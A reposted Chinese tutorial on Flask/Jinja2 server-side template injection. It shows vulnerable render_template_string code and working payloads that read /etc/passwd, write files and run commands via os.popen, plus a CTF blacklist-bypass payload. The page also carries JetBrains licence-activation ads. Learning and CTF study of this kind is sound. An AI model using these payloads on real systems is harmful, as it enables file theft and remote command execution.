关于flask的SSTI注入[通俗易懂]

关于flask的SSTI注入[通俗易懂]ssti注入又称服务器端模板注入攻击(Server-SideTemplateInjection),和sql注入一样,也是由于接受用户输入而造成的安全问题。它的实质就是服务器端接受了用户的输入,没有经过过滤或者说过滤不严谨,将用户输入作为web应用模板的一部分,但是在进行编译渲染的过程中,执行了用户输入的恶意代码,造成信息泄露,代码执行,getshell等问题。这个问题主要是出在web应…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

ssti注入又称服务器端模板注入攻击(Server-Side Template Injection),和sql注入一样,也是由于接受用户输入而造成的安全问题。

它的实质就是服务器端接受了用户的输入,没有经过过滤或者说过滤不严谨,将用户输入作为web应用模板的一部分,但是在进行编译渲染的过程中,执行了用户输入的恶意代码,造成信息泄露,代码执行,getshell等问题。

这个问题主要是出在web应用模板渲染的过程中,目前比较流行的渲染引擎模板主要有:smarty,twig,jinja2,freemarker,velocity

而python中的一个微型框架flask主要就是使用的jinja2来作为渲染模板,在目前的ctf中常见的SSTI也主要就是考察的python,因此我记录一下关于python flask的jinja2引发的SSTI,也帮助自己更深入的学习和理解ssti注入攻击这个知识点。

 

在学习jinja2造成的ssti时,先初步了解一下关于python的flask框架,以及flask是如何通过jinja2来进行模板渲染的。

flask的运行流程:

路由:

想要在浏览器中访问由flask创建的web,需要设置路由,看代码

//index.py

from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__)

@app.route("/index/")
def test():
    return "Hello flask"

if __name__ == "__main__":
    app.run()

@app.route(“/index/”) 中,route装饰器的作用就是将函数和url绑定起来,当运行这个脚本之后,访问

http://127.0.0.1:5000/index

就会返回Hello flask,这就是简单的flask框架的运行。

渲染:

flask有两种渲染方式,render_template() 和 render_template_string()。

render_template()是渲染文件的,render_template_string是渲染字符串的,ssti也主要与渲染字符串这种方式有关。

在网站的根目录下创建templates文件夹,主要用来存放html文件,也是渲染用的模板文件。

render_template:

//index.py
@app.route("/index/")
def test():
    return render_template("index.html")

//index.html 在 /templates/index.html

关于flask的SSTI注入[通俗易懂]

render_template_string:

//index.py
@app.route("/index/")
def test():
    content = "test by gurenmeng"
    return render_template_string(content)

使用{
{ }}变量包裹:

{
{ }}在jinja2中为变量包裹标识符

//index.py
@app.route("/index/")
def test():
    html = "test by gurenmeng"
    return render_template("index.html", content=html)



//templates/index.html
<p3>{
  
  {content}}</p3>

访问 http://127.0.0.1:5000/index 就会自动加载templates/index.html,将html这个参数内容传递给content这个变量,然后渲染到web页面。页面就会输出 test by gurenmeng。

 

模板注入:

如果错误的使用render_template_string渲染方式的话,就会产生模板注入。

先测试简单的xss:

//index.py
@app.route("/index/")
def test():
    content = request.args.get("content")
    return render_template_string(content)

直接返回渲染的get传输的数据,并且渲染的content内容是用户可控的

关于flask的SSTI注入[通俗易懂]

直接渲染出现xss漏洞。

换一种写法:

//index.py
@app.route("/index/")
def test():
    content = request.args.get("content")
    return render_template_string("{
  
  {html}}", html=content)

访问web

关于flask的SSTI注入[通俗易懂]

js代码被原样输出,这是因为模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了。

在这段代码中用户所控的是code变量,而不是模板内容。

存在漏洞的代码中,模板内容直接受用户控制的。之前弹窗的代码一样。

xss知识模板注入的一个非常小的一个应用,根据危害性的是其他攻击方式:读写文件,命令执行

在Jinja2模板引擎中,{
{}}
是变量包裹标识符。{
{}}
并不仅仅可以传递变量,还可以执行一些简单的表达式。

利用之前弹窗的代码:

关于flask的SSTI注入[通俗易懂]

表达式被执行,进行了简单的乘法运算。

 

实行文件读写和命令执行的基本操作:获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块

python的几个函数解析:

__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

获取基本类(object):

//获取基本类 object
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[9]   //在flask的jinja2模块渲染是可用

关于flask的SSTI注入[通俗易懂]

获取基本类的子类:

object.__subclasses__()
//''.__class__.__mro__[2].__subclasses__()
//...基于上面的其他写法

关于flask的SSTI注入[通俗易懂]

快速查找该引用对应的位置:

''.__class__.__mro__[2].__subclasses__().index(file)

关于flask的SSTI注入[通俗易懂]

文件读写:

在子类里面有<type ‘file’>这个引用的索引,可以直接调用进行文件读写:

''.__class__.__mro__[2].__subclasses__()[40]

关于flask的SSTI注入[通俗易懂]

''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()

关于flask的SSTI注入[通俗易懂]

将read()改为write()就可以进行写操作:

''.__class__.__mro__[2].__subclasses__()[40]("/root/桌面/test.txt", "a").write("123")

 

或者在基本类的子类中找到重载过的__init__类(对python不是很熟悉,所以这里不太清楚,不过在基本类的子类中的一些类属性基本都有引用),查看引用 __builtins__

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
//读取文件
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']("/etc/passwd").read()

关于flask的SSTI注入[通俗易懂]

命令执行:

方法一:利用eval进行命令执行

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

方法二:利用commands实现命令执行:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')}
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()

(在进行jinja2模板注入时,直接将这些payload放入{
{}}中作为变量执行即可获得想要的结果,如果存在对应键不在相应位置,那么就需要我们从基本类开始找了,一般来说应该是一样的,这个需要看python环境)

 

举例一个ctf:

关于flask的SSTI注入[通俗易懂]

点击到regist.php是一个404页面,并且动态输出错误url,然后测试xss,会弹窗,这是过滤了字符的,所以应该知道这里是存在ssti的,进一步测试{
{2*3}},错误页面会输出数字6,所以这个题就是考察python flask的ssti的。

但是经过测试,这里是过滤了很多字符的,后面看writeup,贴出他的黑名单:

black_list = [ 'write', 'class', 'mro', 'read', '<', '>', '|', 'join' 'os', 'sys', 'pop', 'del', 'rm', 'eval', 'exec', 'ls', 'cat', ';', '&&', 'catch_warnings', 'func_globals', 'pickle', 'import', 'subprocess', 'commands', 'input', 'execfile', 'reload', 'compile', 'execfile', 'kill', 'func_code' ]

这里我们使用request.args这个参数来进行绕过。

request.args是flask中的一个属性,为返回请求的参数,将后面的参数作为变量传递进去,进而绕过一些限制,具体看payload:

http://111.198.29.45:31540/{
  
  {''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

他过滤了class,mro,subclasses,read,所以使用request.args返回后面的参数,将后面的参数作为一个变量传递进来,这样就染过了里面的一些黑名单。

关于flask的SSTI注入[通俗易懂]

最终可成功读取到文件。

 

对flask jinja2更深入的利用:

https://www.freebuf.com/articles/web/98928.html

常见绕过方法:

https://bbs.ichunqiu.com/thread-47685-1-1.html?from=aqzx8

参考文章:

https://www.freebuf.com/column/187845.html

https://bbs.ichunqiu.com/thread-47685-1-1.html?from=aqzx8

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/179203.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • redis过期策略六种(java的内存回收机制)

    Redis缓存作为提高系统性能最好的方式相信大家对其一定不陌生,各位作为秃头老码农不仅需要掌握Redis的基础用法还得了解Redis的相关原理,比如Redis过期策略和内存淘汰机制。大家都知道,Redis缓存使用的是内存资源,虽然缓存服务器会配置比较高的内存资源,但如果对于Redis中的缓存数据我们不管不顾,内存资源总有耗尽的时候,这时缓存服务器就无法再对外提供服务了。我们要用有限的服务器资源支撑…

  • windows Netstat命令详解

    windows Netstat命令详解Netstat用于显示与IP、TCP、UDP和ICMP协议相关的统计数据,一般用于检验本机各端口的网络连接情况。如果你的计算机有时候接收到的数据报导致出错数据或故障,你不必感到奇怪,TCP/IP可以容许这些类型的错误,并能够自动重发数据报。但如果累计的出错情况数目占到所接收的IP数据报相当大的百分比,或者它的数目正迅速增加,那么你就应该使用…

  • DenseNet模型[通俗易懂]

    DenseNet模型[通俗易懂]《DenselyConnectedConvolutionalNetworks》阅读笔记代码地址:https://github.com/liuzhuang13/DenseNet首先看一张图:稠密连接:每层以之前层的输出为输入,对于有L层的传统网络,一共有LL个连接,对于DenseNet,则有L(L+1)2\frac{L(L+1)}2。这篇论文主要参考了HighwayNetw

  • 用户名为中文软件不能用_电脑用户名打不了中文

    用户名为中文软件不能用_电脑用户名打不了中文(软件必须要求路径和用户名都是英文,比如SystemVue和MATLAB)我安装matlab也是一路坎坷,一开始每次激活成功后就自动关闭,再次打开依旧提示激活,无论是在线激活还是本地选择license文件都不行(.lic文件是从Mathwork上登录后下载下来的)。讲道理是还有一年期限,不会过期的,但是试了好久启动不了。后来发现license文件放错了位置,应该放在安装目录下,如C:\Progr…

    2022年10月14日
  • Adobe Dreamweaver 2021下载安装教程

    Adobe Dreamweaver 2021下载安装教程软件介绍AdobeDreamweaver2021是专业的网站设计软件,使用可为处理各种Web文档提供灵活的环境。Dreamweaver2021一款非常受欢迎的网页设计软件,是该系列的全新版本,可以帮助广大学生、程序员制作出精美的网页,在全新的Dreamweaver2021版本中,在其优秀的功能上带来了更多的改进和优化,拥有无缝实时视图编辑功能,在以往用户需要切换到单独的编辑模式来预览网站,现在仅需一键即可预览和更改网页,还支持Windows的多显示器方案,为用户带来了更加整洁主界面,并且修改了十多个

  • 常用图像算法汇总_图像修复算法

    常用图像算法汇总_图像修复算法图12020年中国计算机视觉在职人员研究领域兴趣变化2021年中国计算机视觉在学术界和产业界各领域热度排名1.目标检测常用算法:yolov3、v4、v5。2.底层视觉与图像处理潜在应用:由于外界环境影响,导致图像成像效果不尽人意,从而影响后续对视频图像的处理。2.1图像超分辨率超分辨率(SuperResolution,SR)是从给定的低分辨率(LR)图像中恢复高分辨率(HR)图像的过程,是计算机视觉的一个经典应…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号